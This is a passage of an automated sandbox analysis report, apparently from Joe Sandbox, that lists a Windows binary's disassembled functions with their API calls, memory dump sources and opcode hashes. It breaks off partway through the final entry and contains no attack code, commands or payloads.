Instruction Fuzzy Hash: 3821B526E0D7C2D1EE618F91E4087B697A4AF02F9CF1A4031DE4C56296EF3CDC46C200

Function 00007FF65593AAE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF65593AB67
LoadStringW.USER32 ref: 00007FF65593AB80

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction ID: 89b3503dfb4c7cf835b2cd6e9517515adfbfc6544939fbe91ebbad1a32e46112
Opcode Fuzzy Hash: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction Fuzzy Hash: 68116379B0968185E6008F16A84816577A5BF94FC8F5C4435CE5EF3B22DF7CE9418345

Function 00007FF655932BB0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF655932C11
GetLastError.KERNEL32 ref: 00007FF655932C1E

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction ID: 33fb5263323d8a585380ef0fd29a4a2eb6fda6e8fcd4aa43fd13763f6c4d3717
Opcode Fuzzy Hash: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction Fuzzy Hash: 7F119329A086C1C1EB508B65E849269A260FB45FACF5C4331DA7DA62E6CF3CDD86C300

Function 00007FF65592255C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65593A4AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF65593A504
Part of subcall function 00007FF65593A4AC: SetDlgItemTextW.USER32 ref: 00007FF65593A573
Part of subcall function 00007FF65593A4AC: GetWindowRect.USER32 ref: 00007FF65593A5AD
Part of subcall function 00007FF65593A4AC: GetClientRect.USER32 ref: 00007FF65593A5BB

GetDlgItem.USER32 ref: 00007FF6559225AC
SetDlgItemTextW.USER32 ref: 00007FF6559225C8

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Item$RectText$ClientWindowswprintf
String ID:
API String ID: 402765569-0
Opcode ID: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction ID: 4c5b802083ca6510dbfe0e08306d1c15f86c6595acc26a023798f08dc6bceb4e
Opcode Fuzzy Hash: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction Fuzzy Hash: 33017518A1D3CA41FF556791A86C67993925F45F4CF0C8038D84DA62DBDF2CEC84C301

Function 00007FF65593EB58 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF65593EBAD,?,?,?,?,00007FF655935752,?,?,?,00007FF6559356DE), ref: 00007FF65593EB5C
GetProcessAffinityMask.KERNEL32 ref: 00007FF65593EB6F

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction ID: 0fb518801a1567b2e7906f2d5484987cad7ce0ad2134cd71a69789f8c005562a
Opcode Fuzzy Hash: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction Fuzzy Hash: 8CE0E565B186CA82DF098B56C4544E963E2BF88F44B888035E60FD3615DF2CE9498B00

Function 00007FF6559521D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655952200

Part of subcall function 00007FF655952F7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF655952F85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655952206

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 14867973fed18b2c44dc58e1bcd5f94848bfca26dcf41195b9c376eff134a452
Instruction ID: ab4930e4898d032937c8bb8ab419ca8e84d505b465b226335e10c18262a10425
Opcode Fuzzy Hash: 14867973fed18b2c44dc58e1bcd5f94848bfca26dcf41195b9c376eff134a452
Instruction Fuzzy Hash: C9E0EC48E0D18745FD1822A21A2E1B940404F19F7EE5C5730DE3EA96C3AF1CACB18250

Function 00007FF65595D90C Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF65595D922
GetLastError.KERNEL32 ref: 00007FF65595D934

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction ID: 11f51fb5e2fb99a08fa872777b3ba309c7d93581672f5a9dc8e262f27fab4560
Opcode Fuzzy Hash: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction Fuzzy Hash: 52E08658E4A78342FF046BB2581D1F413D06FD4F5AB0C0030C90DE6253DF2C9D968200

Function 00007FF6559233E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592388C

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: bdf8625448bd8dcd1def64a6508c1891a019ebdf0eaa44acf70db7eea19c6d5a
Instruction ID: 7141c586a7de0d56e61b4af87f7439d512648d22ca32e48daa5da4ed6268b777
Opcode Fuzzy Hash: bdf8625448bd8dcd1def64a6508c1891a019ebdf0eaa44acf70db7eea19c6d5a
Instruction Fuzzy Hash: BDD1B47AB086C256EF288B2599482B967A5FB05F88F0C4035CB5D977A7CF3CEC658701

Function 00007FF655935294 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593551B

Part of subcall function 00007FF6559413F4: CompareStringW.KERNEL32 ref: 00007FF65594145A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: cc14dedd2e5cc10f866aa6caa5d21262f0f150b8de9e36933eecb23af5082f8f
Instruction ID: 4a6ed38a497f1e9399ef9420efa43d75bc3704f2cc55831800c62903db3c385f
Opcode Fuzzy Hash: cc14dedd2e5cc10f866aa6caa5d21262f0f150b8de9e36933eecb23af5082f8f
Instruction Fuzzy Hash: 1F61F219A0C2C7C1EB689A25981C27A5391EF49FDEF1E5031DE4DE6AC7EF6CEC408201

Function 00007FF655941870 Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65593E948: ReleaseSemaphore.KERNEL32 ref: 00007FF65593E974
Part of subcall function 00007FF65593E948: FindCloseChangeNotification.KERNELBASE ref: 00007FF65593E993
Part of subcall function 00007FF65593E948: DeleteCriticalSection.KERNEL32 ref: 00007FF65593E9AA
Part of subcall function 00007FF65593E948: CloseHandle.KERNEL32 ref: 00007FF65593E9B7

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655941ACB

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Close$ChangeCriticalDeleteFindHandleNotificationReleaseSectionSemaphore_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1624603282-0
Opcode ID: 9769b8d8c6adf9e9843dd34bf36c89e921551141ac818f266a3f44a314c80fc1
Instruction ID: e7d8bc170d4d06d02eaa5b83eb3db563266edd982cc9d04a24d46b2ea17e1ddf
Opcode Fuzzy Hash: 9769b8d8c6adf9e9843dd34bf36c89e921551141ac818f266a3f44a314c80fc1
Instruction Fuzzy Hash: 8A618F66B157C592EE08DB65D5580BCB365FF40F98B584232D76D97A82CF2CECB18300

Function 00007FF65592EC9C Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592EEB8

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 90bbbe4b03adee6de0a9cfeccf93459ff6427d4f8da8a47d00f3fc41b718dbf5
Instruction ID: d1c73f8a3cbe0ee9b32422ecafdb7c2b07d3c4d0549abd9527b30bef77924191
Opcode Fuzzy Hash: 90bbbe4b03adee6de0a9cfeccf93459ff6427d4f8da8a47d00f3fc41b718dbf5
Instruction Fuzzy Hash: 9251A36AA086C180EA149B15D8883BD6751FB85FC8F4C013AEE5DA7397DF3DE885C300

Function 00007FF65592E7A8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF655933EC8: FindClose.KERNELBASE(?,?,00000000,00007FF655940811), ref: 00007FF655933EFD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592E993

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 291e6fd2762174cc1189c8c1297697099ae6cbf60ac3dcc79b926deda7363788
Instruction ID: f2f449475e2eed326495b57c8e0b0f2750f75fab3855cafecd6d4d3058bbbf23
Opcode Fuzzy Hash: 291e6fd2762174cc1189c8c1297697099ae6cbf60ac3dcc79b926deda7363788
Instruction Fuzzy Hash: DF51422AA186C581FE609B25D88937D6361FF84F8CF580136EA8DA77A7DF2CD841C710

Function 00007FF655931794 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65593187D

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 441d94010831a9f6ef5d16cdf5dc6aa6cd9069c8d4b228be56634cb7a29f4368
Instruction ID: 777bafdc8e424411135053a9ef6d72a86e20b2fe15e2d98fc6cca7e7f727779c
Opcode Fuzzy Hash: 441d94010831a9f6ef5d16cdf5dc6aa6cd9069c8d4b228be56634cb7a29f4368
Instruction Fuzzy Hash: E541E866B18AC182EA149A17EA4837AA291FF44FC4F4D8535EE4C97F5BDF3CD9918300

Function 00007FF655932F58 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559330C8

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ef3369d01a97c9aa4f3b4977493ba9f0ef8ebed8b0182d05534ad700cb30ef07
Instruction ID: 112ae603763ab02c742e246e2461fe5750112f05d2f592dae6a78ad197065b95
Opcode Fuzzy Hash: ef3369d01a97c9aa4f3b4977493ba9f0ef8ebed8b0182d05534ad700cb30ef07
Instruction Fuzzy Hash: 2A41046AA18B81C1EE109B29E54D37963A1EB85FDCF191134EA4D9779BDF3CE840C600

Function 00007FF65595BDF8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF65595BE20

Part of subcall function 00007FF65595BFB0: GetModuleHandleExW.KERNEL32 ref: 00007FF65595BFD0
Part of subcall function 00007FF65595BFB0: GetProcAddress.KERNEL32 ref: 00007FF65595BFE6
Part of subcall function 00007FF65595BFB0: FreeLibrary.KERNEL32 ref: 00007FF65595C00B

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction ID: 44ec5b3da2e4b73138c1aee5e05e14f98b35fa80c59428bf7f645dcc4bda8ae9
Opcode Fuzzy Hash: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction Fuzzy Hash: 2B41C439A186C282FB249B11A4581782292AF55F49F4C443ADA0EF76A3DF3CEC55C781

Function 00007FF65592129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655921396

Part of subcall function 00007FF655921F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF655921F89

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 6f88c17e658a7e6a764477403b9247f1d27f5880b65831beeeee99c6ba04093e
Instruction ID: 2d3a71b7debc1b797cfe031fd46b6de2695ad268494df6d2f03c94ddea7907e9
Opcode Fuzzy Hash: 6f88c17e658a7e6a764477403b9247f1d27f5880b65831beeeee99c6ba04093e
Instruction Fuzzy Hash: A1219F26A0929185EA149E91A80827D6251EB04FF4F6C0B30DE3DA7BC2DF7CE8619344

Function 00007FF655922C54 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655922D77

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 0c8e9c2245f2fbf425fa0cd7f95d31ecd9f6f203860eee89bbc703c5aebe3acc
Instruction ID: 921a82d8fbbbab4257b28c3d0792b1ec2295cd133b457d4c7b56af4d4772400a
Opcode Fuzzy Hash: 0c8e9c2245f2fbf425fa0cd7f95d31ecd9f6f203860eee89bbc703c5aebe3acc
Instruction Fuzzy Hash: 53217F2AB185C261EA08DB60D9483FCA310FB44F88F984031E71D976A3CF3CA864C300

Function 00007FF65596124C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF655961280

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction ID: 6cd099d37a3dfb9f1c42e876f902f729ff942dc90a291dc19b0f5adf2122e508
Opcode Fuzzy Hash: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction Fuzzy Hash: C9117C3A90C7C382FB109B50A48813962A4FF40B88F5C0135EA8DE7693DF3CEC549780

Function 00007FF655923AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655923B6C

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
